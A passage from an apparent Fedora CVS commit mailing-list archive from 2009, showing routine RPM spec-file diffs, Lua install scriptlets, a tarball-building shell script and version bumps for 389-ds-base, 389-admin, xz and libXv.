-fi
+%post -p <lua>
+os.execute('/sbin/chkconfig --add %{pkgname}')
+os.execute('/sbin/ldconfig')
+os.execute('/sbin/chkconfig --add %{pkgname}-snmp')
+-- this has been problematic - if this directory
+-- does not exist, the server will silently fail to
+-- start - however, if the user has already created
+-- it, we don't want to overwrite the permissions
+-- on it - so we can't list it explicitly in the
+-- files section - we list it as a ghost so that
+-- it will be removed when the rpm is removed
+if not posix.access("%{_localstatedir}/run/%{pkgname}") then
+    posix.mkdir("%{_localstatedir}/run/%{pkgname}")
+end
+-- since posttrans is not passed the upgrade status, we get
+-- it here
+if (arg[2] > 1) or %{pkgname}_exists then
+--    print("in %{pkgname} post - upgrading")
+    %{pkgname}_upgrading = true
+else
+--    print("in %{pkgname} post - installing")
+    %{pkgname}_upgrading = false
+end
+
 
 %preun
 if [ $1 = 0 ]; then
         /sbin/service %{pkgname} stop >/dev/null 2>&1 || :
         /sbin/chkconfig --del %{pkgname}
+        /sbin/service %{pkgname}-snmp stop >/dev/null 2>&1 || :
+        /sbin/chkconfig --del %{pkgname}-snmp
 fi
 
 %postun -p /sbin/ldconfig
@@ -177,9 +190,45 @@ if %{pkgname}_savelinks then
 --        print("posttrans - restored run level "..fullpath.." to "..link)
     end
 end
+if %{pkgname}_upgrading then
+    instbase = "%{_sysconfdir}/%{pkgname}"
+--    print("posttrans - upgrading - looking for instances in "..instbase)
+-- find all instances
+    instances = {} -- instances that require a restart after upgrade
+    for dir in posix.files(instbase) do
+--        print("dir="..dir)
+        if string.find(dir,"^slapd-") and not string.find(dir,"\.removed$") then
+            inst = string.gsub(dir,"^slapd[-]", "")
+--            print("found instance "..inst.." getting status")
+            rc = os.execute('/sbin/service %{pkgname} status '..inst..' >/dev/null 2>&1')
+-- if instance is running, we must restart it after upgrade
+            if rc == 0 then
+                instances[inst] = inst
+--                print("instance "..inst.." is running")
+--            else
+--                print("instance "..inst.." is shutdown")
+            end
+        end
+    end
+-- shutdown all instances
+--    print("shutting down all instances . . .")
+    os.execute('/sbin/service %{pkgname} stop > /dev/null 2>&1')
+-- do the upgrade
+--    print("upgrading instances . . .")
+    os.execute('%{_sbindir}/setup-ds.pl -l /dev/null -u -s General.UpdateMode=offline > /dev/null 2>&1')
+-- restart instances that require it
+    for inst,dummy in pairs(instances) do
+--        print("restarting instance "..inst)
+        os.execute('/sbin/service %{pkgname} start '..inst..' >/dev/null 2>&1')
+    end
+end
+-- if we upgraded from fedora to 389, the upgrade will shutdown
+-- all old running instances, so we have to start them here
 if %{pkgname}_exists then
+--    print("restarting all instances due to package rename")
     os.execute('/sbin/service %{pkgname} start >/dev/null 2>&1')
 end
+   
 
 %files
 %defattr(-,root,root,-)
@@ -190,9 +239,12 @@ end
 %dir %{_sysconfdir}/%{pkgname}/config
 %config(noreplace)%{_sysconfdir}/%{pkgname}/config/slapd-collations.conf
 %config(noreplace)%{_sysconfdir}/%{pkgname}/config/certmap.conf
+%config(noreplace)%{_sysconfdir}/%{pkgname}/config/ldap-agent.conf
+%config(noreplace)%{_sysconfdir}/%{pkgname}/config/template-initconfig
 %config(noreplace)%{_sysconfdir}/sysconfig/%{pkgname}
 %{_datadir}/%{pkgname}
 %{_sysconfdir}/rc.d/init.d/%{pkgname}
+%{_sysconfdir}/rc.d/init.d/%{pkgname}-snmp
 %{_bindir}/*
 %{_sbindir}/*
 %dir %{_libdir}/%{pkgname}
@@ -213,6 +265,13 @@ end
 %{_libdir}/%{pkgname}/*.so
 
 %changelog
+* Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.3-1
+- 1.2.3 release
+- added template-initconfig to %files
+- %posttrans now runs update to update the server instances
+- servers are shutdown, then restarted if running before install
+- scriptlets mostly use lua now to pass data among scriptlet phases
+
 * Tue Sep 08 2009 Nathan Kinder <nkinder at redhat.com> - 1.2.2-2
 - removed BuildRequires for lm_sensors on s390 and s390x
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Aug 2009 20:00:51 -0000	1.4
+++ sources	7 Oct 2009 15:42:35 -0000	1.5
@@ -1 +1 @@
-143564394e4ad20bf4ea96e3e8ce970a  389-ds-base-1.2.2.tar.bz2
+1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2



From rmeggins at fedoraproject.org  Wed Oct  7 15:50:26 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Wed,  7 Oct 2009 15:50:26 +0000 (UTC)
Subject: rpms/389-admin/F-10 389-admin-git-local.sh, NONE, 1.1 .cvsignore,
	1.2, 1.3 389-admin.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091007155026.F046111C02A1@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-admin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21218/F-10

Modified Files:
	.cvsignore 389-admin.spec sources 
Added Files:
	389-admin-git-local.sh 
Log Message:
This is the 1.1.9 release
Added 389-admin-git-local.sh to construct a source tarball
from a local git repo and a tag - also grabs the correct
versions of mod_admserv and mod_restartd from CVS



--- NEW FILE 389-admin-git-local.sh ---
#!/bin/bash

DATE=`date +%Y%m%d`
TAG=389-admin-1.1.9
CVSTAG=three89Admin_1_1_9
VERSION=1.1.9
PKGNAME=389-admin
SRCNAME=${PKGNAME}-${VERSION}
CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
echo you must be in the admin server git repo to use this
git status > /dev/null || echo bye
if [ -z "$1" ] ; then
	dir=.
else
	dir="$1"
fi
git archive --format=tar --prefix=$SRCNAME/ $TAG | ( cd $dir ; tar xf - ; cd $SRCNAME ; cvs -d "$CVSROOT" -z3 export -r$CVSTAG mod_admserv mod_restartd ; cd .. ; tar cfj $dir/$SRCNAME.tar.bz2 $SRCNAME )
rm -rf $dir/$SRCNAME


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-admin/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	23 Jun 2009 02:39:41 -0000	1.2
+++ .cvsignore	7 Oct 2009 15:50:26 -0000	1.3
@@ -1 +1 @@
-389-admin-1.1.8.tar.bz2
+389-admin-1.1.9.tar.bz2


Index: 389-admin.spec
===================================================================
RCS file: /cvs/extras/rpms/389-admin/F-10/389-admin.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- 389-admin.spec	25 Aug 2009 20:05:58 -0000	1.5
+++ 389-admin.spec	7 Oct 2009 15:50:26 -0000	1.6
@@ -2,8 +2,8 @@
 
 Summary:          389 Administration Server (admin)
 Name:             389-admin
-Version:          1.1.8
-Release:          4%{?dist}
+Version:          1.1.9
+Release:          1%{?dist}
 License:          GPLv2 and ASL 2.0
 URL:              http://port389.org/
 Group:            System Environment/Daemons
@@ -151,6 +151,9 @@ end
 %{_mandir}/man8/*
 
 %changelog
+* Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.1.9-1
+- the 1.1.9 release
+
 * Tue Aug 25 2009 Rich Megginson <rmeggins at redhat.com> - 1.1.8-4
 - resolves 518418 -  Package rename shuts down server, results in unconfigured package
 - rewrite perm/owner preservation code to use lua


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-admin/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	12 Aug 2009 20:00:08 -0000	1.4
+++ sources	7 Oct 2009 15:50:26 -0000	1.5
@@ -1 +1 @@
-62d9c76e138e1421db7ca515e445f022  389-admin-1.1.8.tar.bz2
+1f84413babbcd29035b8707f2ee9cea1  389-admin-1.1.9.tar.bz2



From rmeggins at fedoraproject.org  Wed Oct  7 15:50:27 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Wed,  7 Oct 2009 15:50:27 +0000 (UTC)
Subject: rpms/389-admin/F-11 389-admin-git-local.sh, NONE, 1.1 .cvsignore,
	1.2, 1.3 389-admin.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091007155027.384EA11C02A1@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-admin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21218/F-11

Modified Files:
	.cvsignore 389-admin.spec sources 
Added Files:
	389-admin-git-local.sh 
Log Message:
This is the 1.1.9 release
Added 389-admin-git-local.sh to construct a source tarball
from a local git repo and a tag - also grabs the correct
versions of mod_admserv and mod_restartd from CVS



--- NEW FILE 389-admin-git-local.sh ---
#!/bin/bash

DATE=`date +%Y%m%d`
TAG=389-admin-1.1.9
CVSTAG=three89Admin_1_1_9
VERSION=1.1.9
PKGNAME=389-admin
SRCNAME=${PKGNAME}-${VERSION}
CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
echo you must be in the admin server git repo to use this
git status > /dev/null || echo bye
if [ -z "$1" ] ; then
	dir=.
else
	dir="$1"
fi
git archive --format=tar --prefix=$SRCNAME/ $TAG | ( cd $dir ; tar xf - ; cd $SRCNAME ; cvs -d "$CVSROOT" -z3 export -r$CVSTAG mod_admserv mod_restartd ; cd .. ; tar cfj $dir/$SRCNAME.tar.bz2 $SRCNAME )
rm -rf $dir/$SRCNAME


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-admin/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	23 Jun 2009 02:39:41 -0000	1.2
+++ .cvsignore	7 Oct 2009 15:50:26 -0000	1.3
@@ -1 +1 @@
-389-admin-1.1.8.tar.bz2
+389-admin-1.1.9.tar.bz2


Index: 389-admin.spec
===================================================================
RCS file: /cvs/extras/rpms/389-admin/F-11/389-admin.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- 389-admin.spec	25 Aug 2009 20:05:59 -0000	1.5
+++ 389-admin.spec	7 Oct 2009 15:50:27 -0000	1.6
@@ -2,8 +2,8 @@
 
 Summary:          389 Administration Server (admin)
 Name:             389-admin
-Version:          1.1.8
-Release:          4%{?dist}
+Version:          1.1.9
+Release:          1%{?dist}
 License:          GPLv2 and ASL 2.0
 URL:              http://port389.org/
 Group:            System Environment/Daemons
@@ -153,6 +153,9 @@ end
 %{_mandir}/man8/*
 
 %changelog
+* Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.1.9-1
+- the 1.1.9 release
+
 * Tue Aug 25 2009 Rich Megginson <rmeggins at redhat.com> - 1.1.8-4
 - resolves 518418 -  Package rename shuts down server, results in unconfigured package
 - rewrite perm/owner preservation code to use lua


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-admin/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	12 Aug 2009 20:00:08 -0000	1.4
+++ sources	7 Oct 2009 15:50:27 -0000	1.5
@@ -1 +1 @@
-62d9c76e138e1421db7ca515e445f022  389-admin-1.1.8.tar.bz2
+1f84413babbcd29035b8707f2ee9cea1  389-admin-1.1.9.tar.bz2



From rmeggins at fedoraproject.org  Wed Oct  7 15:50:27 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Wed,  7 Oct 2009 15:50:27 +0000 (UTC)
Subject: rpms/389-admin/F-12 389-admin-git-local.sh, NONE, 1.1 .cvsignore,
	1.2, 1.3 389-admin.spec, 1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091007155027.7B11B11C02A1@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-admin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21218/F-12

Modified Files:
	.cvsignore 389-admin.spec sources 
Added Files:
	389-admin-git-local.sh 
Log Message:
This is the 1.1.9 release
Added 389-admin-git-local.sh to construct a source tarball
from a local git repo and a tag - also grabs the correct
versions of mod_admserv and mod_restartd from CVS



--- NEW FILE 389-admin-git-local.sh ---
#!/bin/bash

DATE=`date +%Y%m%d`
TAG=389-admin-1.1.9
CVSTAG=three89Admin_1_1_9
VERSION=1.1.9
PKGNAME=389-admin
SRCNAME=${PKGNAME}-${VERSION}
CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
echo you must be in the admin server git repo to use this
git status > /dev/null || echo bye
if [ -z "$1" ] ; then
	dir=.
else
	dir="$1"
fi
git archive --format=tar --prefix=$SRCNAME/ $TAG | ( cd $dir ; tar xf - ; cd $SRCNAME ; cvs -d "$CVSROOT" -z3 export -r$CVSTAG mod_admserv mod_restartd ; cd .. ; tar cfj $dir/$SRCNAME.tar.bz2 $SRCNAME )
rm -rf $dir/$SRCNAME


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-admin/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	23 Jun 2009 02:36:44 -0000	1.2
+++ .cvsignore	7 Oct 2009 15:50:27 -0000	1.3
@@ -1 +1 @@
-389-admin-1.1.8.tar.bz2
+389-admin-1.1.9.tar.bz2


Index: 389-admin.spec
===================================================================
RCS file: /cvs/extras/rpms/389-admin/F-12/389-admin.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- 389-admin.spec	25 Aug 2009 20:05:59 -0000	1.7
+++ 389-admin.spec	7 Oct 2009 15:50:27 -0000	1.8
@@ -2,8 +2,8 @@
 
 Summary:          389 Administration Server (admin)
 Name:             389-admin
-Version:          1.1.8
-Release:          6%{?dist}
+Version:          1.1.9
+Release:          1%{?dist}
 License:          GPLv2 and ASL 2.0
 URL:              http://port389.org/
 Group:            System Environment/Daemons
@@ -84,6 +84,25 @@ rm -rf $RPM_BUILD_ROOT
 -- if these don't exist, the vars will be nil
 %{pkgname}admin_adminserv = posix.stat('%{_sysconfdir}/%{pkgname}/admin-serv')
 %{pkgname}admin_consoleconf = posix.stat('%{_sysconfdir}/%{pkgname}/admin-serv/console.conf')
+-- save the run level configuration, if any
+rc = os.execute('rpm --quiet -q fedora-ds-admin')
+if rc == 0 then
+    %{pkgname}admin_exists = true
+    %{pkgname}admin_savelinks = {}
+    for dir in posix.files("%{_sysconfdir}/rc.d") do
+        if string.find(dir, "rc%d.d") then
+--          print("looking in %{_sysconfdir}/rc.d/"..dir)
+            for link in posix.files("%{_sysconfdir}/rc.d/"..dir) do
+                if string.find(link, "[SK]%d%d%{pkgname}-admin") then
+                    fullname = "%{_sysconfdir}/rc.d/"..dir.."/"..link
+                    linked = posix.readlink(fullname)
+--                  print(fullname.." is linked to "..linked)
+                    %{pkgname}_savelinks[fullname] = linked
+                end
+            end
+        end
+    end
+end
 
 %post -p <lua>
 -- do the usual daemon post setup stuff
@@ -107,6 +126,19 @@ fi
 
 %postun -p /sbin/ldconfig
 
+%posttrans -p <lua>
+-- if we saved the run level configuration in %pre, restore it now
+-- we can get rid of this code once Fedora 11 becomes obsolete
+if %{pkgname}admin_savelinks then
+    for fullpath,link in pairs(%{pkgname}admin_savelinks) do
+        posix.symlink(link,fullpath)
+--        print("posttrans - restored run level "..fullpath.." to "..link)
+    end
+end
+if %{pkgname}admin_exists then
+    os.execute('/sbin/service %{pkgname}-admin start >/dev/null 2>&1')
+end
+
 %files
 %defattr(-,root,root,-)
 %doc LICENSE
@@ -121,6 +153,9 @@ fi
 %{_mandir}/man8/*
 
 %changelog
+* Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.1.9-1
+- the 1.1.9 release
+
 * Tue Aug 25 2009 Rich Megginson <rmeggins at redhat.com> - 1.1.8-6
 - rewrite perm/owner preservation code to use lua
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-admin/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Aug 2009 20:00:08 -0000	1.5
+++ sources	7 Oct 2009 15:50:27 -0000	1.6
@@ -1 +1 @@
-62d9c76e138e1421db7ca515e445f022  389-admin-1.1.8.tar.bz2
+1f84413babbcd29035b8707f2ee9cea1  389-admin-1.1.9.tar.bz2



From rmeggins at fedoraproject.org  Wed Oct  7 15:50:27 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Wed,  7 Oct 2009 15:50:27 +0000 (UTC)
Subject: rpms/389-admin/devel 389-admin-git-local.sh, NONE, 1.1 .cvsignore,
	1.2, 1.3 389-admin.spec, 1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091007155027.EEC9111C02A1@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-admin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21218/devel

Modified Files:
	.cvsignore 389-admin.spec sources 
Added Files:
	389-admin-git-local.sh 
Log Message:
This is the 1.1.9 release
Added 389-admin-git-local.sh to construct a source tarball
from a local git repo and a tag - also grabs the correct
versions of mod_admserv and mod_restartd from CVS



--- NEW FILE 389-admin-git-local.sh ---
#!/bin/bash

DATE=`date +%Y%m%d`
TAG=389-admin-1.1.9
CVSTAG=three89Admin_1_1_9
VERSION=1.1.9
PKGNAME=389-admin
SRCNAME=${PKGNAME}-${VERSION}
CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
echo you must be in the admin server git repo to use this
git status > /dev/null || echo bye
if [ -z "$1" ] ; then
	dir=.
else
	dir="$1"
fi
git archive --format=tar --prefix=$SRCNAME/ $TAG | ( cd $dir ; tar xf - ; cd $SRCNAME ; cvs -d "$CVSROOT" -z3 export -r$CVSTAG mod_admserv mod_restartd ; cd .. ; tar cfj $dir/$SRCNAME.tar.bz2 $SRCNAME )
rm -rf $dir/$SRCNAME


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-admin/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	23 Jun 2009 02:36:44 -0000	1.2
+++ .cvsignore	7 Oct 2009 15:50:27 -0000	1.3
@@ -1 +1 @@
-389-admin-1.1.8.tar.bz2
+389-admin-1.1.9.tar.bz2


Index: 389-admin.spec
===================================================================
RCS file: /cvs/extras/rpms/389-admin/devel/389-admin.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- 389-admin.spec	25 Aug 2009 20:05:59 -0000	1.7
+++ 389-admin.spec	7 Oct 2009 15:50:27 -0000	1.8
@@ -2,8 +2,8 @@
 
 Summary:          389 Administration Server (admin)
 Name:             389-admin
-Version:          1.1.8
-Release:          6%{?dist}
+Version:          1.1.9
+Release:          1%{?dist}
 License:          GPLv2 and ASL 2.0
 URL:              http://port389.org/
 Group:            System Environment/Daemons
@@ -84,6 +84,25 @@ rm -rf $RPM_BUILD_ROOT
 -- if these don't exist, the vars will be nil
 %{pkgname}admin_adminserv = posix.stat('%{_sysconfdir}/%{pkgname}/admin-serv')
 %{pkgname}admin_consoleconf = posix.stat('%{_sysconfdir}/%{pkgname}/admin-serv/console.conf')
+-- save the run level configuration, if any
+rc = os.execute('rpm --quiet -q fedora-ds-admin')
+if rc == 0 then
+    %{pkgname}admin_exists = true
+    %{pkgname}admin_savelinks = {}
+    for dir in posix.files("%{_sysconfdir}/rc.d") do
+        if string.find(dir, "rc%d.d") then
+--          print("looking in %{_sysconfdir}/rc.d/"..dir)
+            for link in posix.files("%{_sysconfdir}/rc.d/"..dir) do
+                if string.find(link, "[SK]%d%d%{pkgname}-admin") then
+                    fullname = "%{_sysconfdir}/rc.d/"..dir.."/"..link
+                    linked = posix.readlink(fullname)
+--                  print(fullname.." is linked to "..linked)
+                    %{pkgname}_savelinks[fullname] = linked
+                end
+            end
+        end
+    end
+end
 
 %post -p <lua>
 -- do the usual daemon post setup stuff
@@ -107,6 +126,19 @@ fi
 
 %postun -p /sbin/ldconfig
 
+%posttrans -p <lua>
+-- if we saved the run level configuration in %pre, restore it now
+-- we can get rid of this code once Fedora 11 becomes obsolete
+if %{pkgname}admin_savelinks then
+    for fullpath,link in pairs(%{pkgname}admin_savelinks) do
+        posix.symlink(link,fullpath)
+--        print("posttrans - restored run level "..fullpath.." to "..link)
+    end
+end
+if %{pkgname}admin_exists then
+    os.execute('/sbin/service %{pkgname}-admin start >/dev/null 2>&1')
+end
+
 %files
 %defattr(-,root,root,-)
 %doc LICENSE
@@ -121,6 +153,9 @@ fi
 %{_mandir}/man8/*
 
 %changelog
+* Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.1.9-1
+- the 1.1.9 release
+
 * Tue Aug 25 2009 Rich Megginson <rmeggins at redhat.com> - 1.1.8-6
 - rewrite perm/owner preservation code to use lua
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-admin/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Aug 2009 20:00:08 -0000	1.5
+++ sources	7 Oct 2009 15:50:27 -0000	1.6
@@ -1 +1 @@
-62d9c76e138e1421db7ca515e445f022  389-admin-1.1.8.tar.bz2
+1f84413babbcd29035b8707f2ee9cea1  389-admin-1.1.9.tar.bz2



From toshio at fedoraproject.org  Wed Oct  7 15:53:51 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Wed,  7 Oct 2009 15:53:51 +0000 (UTC)
Subject: rpms/xz/EL-5 .cvsignore,1.3,1.4 sources,1.3,1.4 xz.spec,1.3,1.4
Message-ID: <20091007155351.9C32111C00E6@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/xz/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21874

Modified Files:
	.cvsignore sources xz.spec 
Log Message:

* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091007.beta
- sync with upstream again



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xz/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	17 Aug 2009 17:10:25 -0000	1.3
+++ .cvsignore	7 Oct 2009 15:53:51 -0000	1.4
@@ -1 +1 @@
-xz-4.999.8beta.20090817git.tar.gz
+xz-4.999.9beta.20091007git.tar.xz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xz/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	17 Aug 2009 17:10:25 -0000	1.3
+++ sources	7 Oct 2009 15:53:51 -0000	1.4
@@ -1 +1 @@
-d0065a7471d2d069e2c56242c653f36a  xz-4.999.8beta.20090817git.tar.gz
+8bd02e5301cb9631852a898d750111d9  xz-4.999.9beta.20091007git.tar.xz


Index: xz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xz/EL-5/xz.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- xz.spec	17 Aug 2009 17:10:25 -0000	1.3
+++ xz.spec	7 Oct 2009 15:53:51 -0000	1.4
@@ -1,19 +1,20 @@
-%define git_date 20090817
+%define git_date 20091007
 
 Summary:	LZMA compression utilities
 Name:		xz
-Version:	4.999.8
-Release:	0.10.beta.%{git_date}git%{?dist}
+Version:	4.999.9
+Release:	0.1.beta.%{git_date}git%{?dist}
 License:	LGPLv2+
 Group:		Applications/File
 # git clone git://ctrl.tukaani.org/xz.git
 # cd xz
-# git checkout 10242a21e9abda0c5c6a03501703cc40b8a699a5
+# git checkout ebfb2c5e1f344e5c6e549b9dedaa49b0749a4a24
 # source created as "make dist" in checked out GIT tree
-Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.gz
+Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.xz
 URL:		http://tukaani.org/%{name}/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	%{name}-libs = %{version}-%{release}
+BuildRequires: xz
 
 %description
 XZ Utils are an attempt to make LZMA compression easy to use on free (as in
@@ -57,7 +58,12 @@ The lzma-compat package contains compati
 commands that deal with the older LZMA format.
 
 %prep
-%setup -q  -n %{name}-%{version}beta
+rm -rf %{name}-%{version}beta
+xz -dc %{SOURCE0} | tar -xf -
+if [ $? -ne 0 ]; then
+  exit $?
+fi
+%setup -q -T -D -n %{name}-%{version}beta
 
 %build
 CFLAGS="%{optflags} -D_FILE_OFFSET_BITS=64" \
@@ -109,6 +115,16 @@ rm -rf %{buildroot}
 %{_mandir}/man1/*
 
 %changelog
+* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091007.beta
+- sync with upstream again
+
+* Fri Oct 02 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091002.beta
+- sync with upstream to generate the same archives on machines with different
+  endianess
+
+* Fri Aug 28 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.beta
+- update to 4.999.9beta
+
 * Mon Aug 17 2009 Jindrich Novy <jnovy at redhat.com> 4.999.8-0.10.beta.20090817git
 - sync with upstream because of #517806
 
@@ -117,7 +133,6 @@ rm -rf %{buildroot}
 
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.999.8-0.8.beta
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
-
 * Fri Jul 17 2009 Bill Nottingham <notting at redhat.com> 4.999.8-0.7.beta
 - tweak summary
 - add %%check section (<tibbs at math.uh.edu>)



From ajax at fedoraproject.org  Wed Oct  7 16:02:33 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 16:02:33 +0000 (UTC)
Subject: rpms/libXv/devel .cvsignore, 1.9, 1.10 libXv.spec, 1.26,
	1.27 sources, 1.9, 1.10
Message-ID: <20091007160233.6F5B811C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXv/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23685

Modified Files:
	.cvsignore libXv.spec sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.5-1
- libXv 1.0.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXv/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	4 Sep 2008 20:01:50 -0000	1.9
+++ .cvsignore	7 Oct 2009 16:02:31 -0000	1.10
@@ -1 +1 @@
-libXv-1.0.4.tar.bz2
+libXv-1.0.5.tar.bz2


Index: libXv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXv/devel/libXv.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXv.spec	25 Jul 2009 05:15:53 -0000	1.26
+++ libXv.spec	7 Oct 2009 16:02:31 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXv runtime library
 Name:    libXv
-Version: 1.0.4
-Release: 4%{?dist}
+Version: 1.0.5
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,9 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(videoproto) pkgconfig(xext)
 
 %description
 X.Org X11 libXv runtime library
@@ -21,25 +19,14 @@ Summary: X.Org X11 libXv development pac
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
-# NOTE: libXext-devel dependency added to fix bug #192167
-Requires: libXext-devel pkgconfig
-# needed by xv.pc
-Requires: xorg-x11-proto-devel
-
 %description devel
 X.Org X11 libXv development package
 
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-  --disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
@@ -64,16 +51,17 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
+%doc man/xv-library-v2.2.txt
 %{_includedir}/X11/extensions/Xvlib.h
-%if %{with_static}
-%{_libdir}/libXv.a
-%endif
 %{_libdir}/libXv.so
 %{_libdir}/pkgconfig/xv.pc
 #%dir %{_mandir}/man3x
 %{_mandir}/man3/*.3*
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.5-1
+- libXv 1.0.5
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXv/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	4 Sep 2008 20:01:50 -0000	1.9
+++ sources	7 Oct 2009 16:02:32 -0000	1.10
@@ -1 +1 @@
-723a0275227165383e967a1ca8899b52  libXv-1.0.4.tar.bz2
+1d97798b1d8bbf8d9085e1b223a0738f  libXv-1.0.5.tar.bz2



From ajax at fedoraproject.org  Wed Oct  7 16:04:23 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 16:04:23 +0000 (UTC)
